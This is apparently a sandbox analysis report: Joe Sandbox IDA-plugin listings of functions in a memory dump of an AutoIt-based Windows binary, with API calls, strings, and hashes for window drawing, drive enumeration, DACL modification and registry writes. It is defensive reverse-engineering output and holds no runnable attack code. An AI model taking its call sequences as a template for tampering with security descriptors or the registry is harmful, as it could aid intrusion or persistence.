Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 30f87ed827aeecfe911223f58ce8a4b71d1e09d8ef01470de223ace09725f984
Instruction ID: 827ee94c17b2a395d80f7bb784f8655bdf822858598a4407694c863e6c25240c
Opcode Fuzzy Hash: 30f87ed827aeecfe911223f58ce8a4b71d1e09d8ef01470de223ace09725f984
Instruction Fuzzy Hash: 1F028871A00219AFDB14CF65DD89EAEBBB9EB48750F10811DF915BB2A0CB35ED05CB60

Function 00ED70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00ED712F
GetSysColorBrush.USER32(0000000F), ref: 00ED7160
GetSysColor.USER32(0000000F), ref: 00ED716C
SetBkColor.GDI32(?,000000FF), ref: 00ED7186
SelectObject.GDI32(?,?), ref: 00ED7195
InflateRect.USER32(?,000000FF,000000FF), ref: 00ED71C0
GetSysColor.USER32(00000010), ref: 00ED71C8
CreateSolidBrush.GDI32(00000000), ref: 00ED71CF
FrameRect.USER32(?,?,00000000), ref: 00ED71DE
DeleteObject.GDI32(00000000), ref: 00ED71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00ED7230
FillRect.USER32(?,?,?), ref: 00ED7262
GetWindowLongW.USER32(?,000000F0), ref: 00ED7284

Part of subcall function 00ED73E8: GetSysColor.USER32(00000012), ref: 00ED7421
Part of subcall function 00ED73E8: SetTextColor.GDI32(?,?), ref: 00ED7425
Part of subcall function 00ED73E8: GetSysColorBrush.USER32(0000000F), ref: 00ED743B
Part of subcall function 00ED73E8: GetSysColor.USER32(0000000F), ref: 00ED7446
Part of subcall function 00ED73E8: GetSysColor.USER32(00000011), ref: 00ED7463
Part of subcall function 00ED73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00ED7471
Part of subcall function 00ED73E8: SelectObject.GDI32(?,00000000), ref: 00ED7482
Part of subcall function 00ED73E8: SetBkColor.GDI32(?,00000000), ref: 00ED748B
Part of subcall function 00ED73E8: SelectObject.GDI32(?,?), ref: 00ED7498
Part of subcall function 00ED73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00ED74B7
Part of subcall function 00ED73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00ED74CE
Part of subcall function 00ED73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00ED74DB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 6fb92e541260f67a4caf96999282c652745eaf0d8a6b8fc214e9f7611bbc057c
Instruction ID: c9843158cc381d81fb8e6334725b3db8d135ca083aede7d5ba52e481a272b33c
Opcode Fuzzy Hash: 6fb92e541260f67a4caf96999282c652745eaf0d8a6b8fc214e9f7611bbc057c
Instruction Fuzzy Hash: 4BA1B67100A312AFDB009F61EC48E5BB7A9FF49364F201B1AF9A2B61E1D731D949CB51

Function 00E58D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00E58E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00E96AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00E96AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00E96F43

Part of subcall function 00E58F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E58BE8,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E58FC5

SendMessageW.USER32(?,00001053), ref: 00E96F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00E96F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00E96FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00E96FB7

Strings

0, xrefs: 00E96DCF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 6c8cb1f6cb4c5175acbf6c2fe1a67ffe81d6365db8f0ab4d8ce9395852b4b5d8
Instruction ID: c343cd5c512723a429fc8696b2de08031cfb253d03dade884c5bf1002dad8b69
Opcode Fuzzy Hash: 6c8cb1f6cb4c5175acbf6c2fe1a67ffe81d6365db8f0ab4d8ce9395852b4b5d8
Instruction Fuzzy Hash: 2B12EC30201201EFDB25CF24D985BAAB7F1FB44305F64A42AF995BB261CB31EC56DB91

Function 00EC2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00EC273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00EC286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00EC28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00EC28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00EC2900
GetClientRect.USER32(00000000,?), ref: 00EC290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00EC2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00EC2964
GetStockObject.GDI32(00000011), ref: 00EC2974
SelectObject.GDI32(00000000,00000000), ref: 00EC2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00EC2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00EC2991
DeleteDC.GDI32(00000000), ref: 00EC299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00EC29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00EC29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00EC2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00EC2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00EC2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00EC2A77
GetStockObject.GDI32(00000011), ref: 00EC2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00EC2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00EC2A97

Strings

static, xrefs: 00EC294F, 00EC2A71
AutoIt v3, xrefs: 00EC28F8
msctls_progress32, xrefs: 00EC2A13
DISPLAY, xrefs: 00EC295A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 622af39e8d8297870e511d33b3c4cca8ccd49367dd94bed867a907842baaa71f
Instruction ID: 4a030619d16aba4dbd159d14c1a026e0f3e2e57f5f9ca204d2b43cbb28306a59
Opcode Fuzzy Hash: 622af39e8d8297870e511d33b3c4cca8ccd49367dd94bed867a907842baaa71f
Instruction Fuzzy Hash: DAB15D71A00219AFEB14DF69DD85FAEBBA9FB48710F108519FA14EB290D774ED01CB90

Function 00EB4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB4AED
GetDriveTypeW.KERNEL32(?,00EDCB68,?,\\.\,00EDCC08), ref: 00EB4BCA
SetErrorMode.KERNEL32(00000000,00EDCB68,?,\\.\,00EDCC08), ref: 00EB4D36

Strings

RAID, xrefs: 00EB4CBB
ATAPI, xrefs: 00EB4C91
Removable, xrefs: 00EB4C10, 00EB4C15
FileBackedVirtual, xrefs: 00EB4CEC
USB, xrefs: 00EB4CB4
PhysicalDrive, xrefs: 00EB4B76
RAMDisk, xrefs: 00EB4BF4
SATA, xrefs: 00EB4CD0
Fibre, xrefs: 00EB4CAD
SSD, xrefs: 00EB4C4A
SAS, xrefs: 00EB4CC9
Unknown, xrefs: 00EB4BED, 00EB4C83
Fixed, xrefs: 00EB4C09
Virtual, xrefs: 00EB4CE5
Network, xrefs: 00EB4C02
1394, xrefs: 00EB4C9F
SCSI, xrefs: 00EB4C8A
\\.\, xrefs: 00EB4B3F
ATA, xrefs: 00EB4C98
iSCSI, xrefs: 00EB4CC2
MMC, xrefs: 00EB4CDE
CDROM, xrefs: 00EB4BFB
SSA, xrefs: 00EB4CA6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: fac8c8204e0fe19e7a885f1839b95069b2ffad6c234be0cc1afa3d67f160cc3b
Instruction ID: 697f2f391c1b6108d36f96d29e07087026614b21abfa2262b266196be4a2461e
Opcode Fuzzy Hash: fac8c8204e0fe19e7a885f1839b95069b2ffad6c234be0cc1afa3d67f160cc3b
Instruction Fuzzy Hash: 5961C4B16061069BDB04DF14CA81AFABBA0AB44B44B20A415F846FB6D3DB35ED45FF42

Function 00ED73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00ED7421
SetTextColor.GDI32(?,?), ref: 00ED7425
GetSysColorBrush.USER32(0000000F), ref: 00ED743B
GetSysColor.USER32(0000000F), ref: 00ED7446
CreateSolidBrush.GDI32(?), ref: 00ED744B
GetSysColor.USER32(00000011), ref: 00ED7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00ED7471
SelectObject.GDI32(?,00000000), ref: 00ED7482
SetBkColor.GDI32(?,00000000), ref: 00ED748B
SelectObject.GDI32(?,?), ref: 00ED7498
InflateRect.USER32(?,000000FF,000000FF), ref: 00ED74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00ED74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00ED74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00ED752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00ED7554
InflateRect.USER32(?,000000FD,000000FD), ref: 00ED7572
DrawFocusRect.USER32(?,?), ref: 00ED757D
GetSysColor.USER32(00000011), ref: 00ED758E
SetTextColor.GDI32(?,00000000), ref: 00ED7596
DrawTextW.USER32(?,00ED70F5,000000FF,?,00000000), ref: 00ED75A8
SelectObject.GDI32(?,?), ref: 00ED75BF
DeleteObject.GDI32(?), ref: 00ED75CA
SelectObject.GDI32(?,?), ref: 00ED75D0
DeleteObject.GDI32(?), ref: 00ED75D5
SetTextColor.GDI32(?,?), ref: 00ED75DB
SetBkColor.GDI32(?,?), ref: 00ED75E5

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: e8c990a541a35bae223c7035e113df9bf79fcd8793db5953f899e787029f5eca
Instruction ID: 7b3e91065f736fb192d551bc820d4e2502216e8e63f0c4017f3366ea38885848
Opcode Fuzzy Hash: e8c990a541a35bae223c7035e113df9bf79fcd8793db5953f899e787029f5eca
Instruction Fuzzy Hash: 05617E72901219AFDF019FA5EC49EEEBFB9EB08360F204116F915BB2A1D7709941CB90

Function 00ED0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00ED1128
GetDesktopWindow.USER32 ref: 00ED113D
GetWindowRect.USER32(00000000), ref: 00ED1144
GetWindowLongW.USER32(?,000000F0), ref: 00ED1199
DestroyWindow.USER32(?), ref: 00ED11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00ED11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00ED120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00ED121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00ED1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00ED1245
IsWindowVisible.USER32(00000000), ref: 00ED12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00ED12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00ED12D0
GetWindowRect.USER32(00000000,?), ref: 00ED12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00ED130E
GetMonitorInfoW.USER32(00000000,?), ref: 00ED1328
CopyRect.USER32(?,?), ref: 00ED133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00ED13AA

Strings

tooltips_class32, xrefs: 00ED11E6
(, xrefs: 00ED131B
0, xrefs: 00ED10D3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 77575c93e99b111f8decd8eba502c17c7378c6b4bc3189c95f24cfa1fa4e4881
Instruction ID: da723d3c6420e06c84cacd83655ebf8bbdd0553d6d8445937e901d0932896e4e
Opcode Fuzzy Hash: 77575c93e99b111f8decd8eba502c17c7378c6b4bc3189c95f24cfa1fa4e4881
Instruction Fuzzy Hash: DDB19C71608341AFD700DF65D884B6BFBE4FF88744F00995AF999AB2A1C731E845CB92

Function 00ED0241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00ED02E5
_wcslen.LIBCMT ref: 00ED031F
_wcslen.LIBCMT ref: 00ED0389
_wcslen.LIBCMT ref: 00ED03F1
_wcslen.LIBCMT ref: 00ED0475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00ED04C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00ED0504

Part of subcall function 00E5F9F2: _wcslen.LIBCMT ref: 00E5F9FD

Part of subcall function 00EA223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00EA2258
Part of subcall function 00EA223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00EA228A

Strings

SELECT, xrefs: 00ED0548
DESELECT, xrefs: 00ED059C
GETTEXT, xrefs: 00ED03EC, 00ED0407
VIEWCHANGE, xrefs: 00ED0675
GETITEMCOUNT, xrefs: 00ED0316, 00ED0337
GETSELECTEDCOUNT, xrefs: 00ED0470, 00ED048B
GETSUBITEMCOUNT, xrefs: 00ED0384, 00ED039F
FINDITEM, xrefs: 00ED0627
ISSELECTED, xrefs: 00ED04DD
GETSELECTED, xrefs: 00ED05E1
SELECTCLEAR, xrefs: 00ED052D
SELECTINVERT, xrefs: 00ED057E
SELECTALL, xrefs: 00ED0515

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: bdca0238a45da6816cd0491265ba1604588ca77f9db37f757a7e22866955f290
Instruction ID: 11168c712190625e69fcf231d30ba7ef5f8517f35ee2cd04e13d4ed4f131ad81
Opcode Fuzzy Hash: bdca0238a45da6816cd0491265ba1604588ca77f9db37f757a7e22866955f290
Instruction Fuzzy Hash: A6E19D316082018BC714DF24D550A6AB3E6FFC8318F18695EF896BB7A2DB30ED46DB51

Function 00E58891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E58968
GetSystemMetrics.USER32(00000007), ref: 00E58970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E5899B
GetSystemMetrics.USER32(00000008), ref: 00E589A3
GetSystemMetrics.USER32(00000004), ref: 00E589C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00E589E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00E589F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00E58A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00E58A3C
GetClientRect.USER32(00000000,000000FF), ref: 00E58A5A
GetStockObject.GDI32(00000011), ref: 00E58A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E58A81

Part of subcall function 00E5912D: GetCursorPos.USER32(?), ref: 00E59141
Part of subcall function 00E5912D: ScreenToClient.USER32(00000000,?), ref: 00E5915E
Part of subcall function 00E5912D: GetAsyncKeyState.USER32(00000001), ref: 00E59183
Part of subcall function 00E5912D: GetAsyncKeyState.USER32(00000002), ref: 00E5919D

SetTimer.USER32(00000000,00000000,00000028,00E590FC), ref: 00E58AA8

Strings

AutoIt v3 GUI, xrefs: 00E58A20

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 946b04e1571a1c5811f008c24649b27daea8bc641e72b9adfd3104164745c8f0
Instruction ID: 73f8f8ee1e6f29df2936b7f1b377a37e27838e6dc3b269f5826552ca37b6aa5a
Opcode Fuzzy Hash: 946b04e1571a1c5811f008c24649b27daea8bc641e72b9adfd3104164745c8f0
Instruction Fuzzy Hash: 5FB17831A0020A9FDF14DFA8D945BEA3BB5FB48355F11962AFA15BB290DB30E845CB50

Function 00EA0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00EA1114
Part of subcall function 00EA10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1120
Part of subcall function 00EA10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA112F
Part of subcall function 00EA10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00EA0B9B,?,?,?), ref: 00EA1136
Part of subcall function 00EA10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00EA114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00EA0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00EA0E29
GetLengthSid.ADVAPI32(?), ref: 00EA0E40
GetAce.ADVAPI32(?,00000000,?), ref: 00EA0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00EA0E96
GetLengthSid.ADVAPI32(?), ref: 00EA0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00EA0EB5
HeapAlloc.KERNEL32(00000000), ref: 00EA0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00EA0EDD
CopySid.ADVAPI32(00000000), ref: 00EA0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00EA0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00EA0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00EA0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0F6E
HeapFree.KERNEL32(00000000), ref: 00EA0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0F7E
HeapFree.KERNEL32(00000000), ref: 00EA0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EA0F8E
HeapFree.KERNEL32(00000000), ref: 00EA0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00EA0FA1
HeapFree.KERNEL32(00000000), ref: 00EA0FA8

Part of subcall function 00EA1193: GetProcessHeap.KERNEL32(00000008,00EA0BB1,?,00000000,?,00EA0BB1,?), ref: 00EA11A1
Part of subcall function 00EA1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00EA0BB1,?), ref: 00EA11A8
Part of subcall function 00EA1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00EA0BB1,?), ref: 00EA11B7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 29a3ac5c173e3f594fb304f76c91bee8de59c3c3314ea47b540e777d058b093a
Instruction ID: 16fbed68407c8c04fae7a95c7b455eb0cf3460c74a471ad37adb8cd05d57456c
Opcode Fuzzy Hash: 29a3ac5c173e3f594fb304f76c91bee8de59c3c3314ea47b540e777d058b093a
Instruction Fuzzy Hash: 8E717F75A0121AEFDF209FA5EC44BAEBBB8FF09345F148116F915BA191D730A905CB60

Function 00ECC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00ECC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00EDCC08,00000000,?,00000000,?,?), ref: 00ECC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00ECC5A4
_wcslen.LIBCMT ref: 00ECC5F4
_wcslen.LIBCMT ref: 00ECC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00ECC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00ECC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00ECC84D
RegCloseKey.ADVAPI32(?), ref: 00ECC881
RegCloseKey.ADVAPI32(00000000), ref: 00ECC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00ECC960
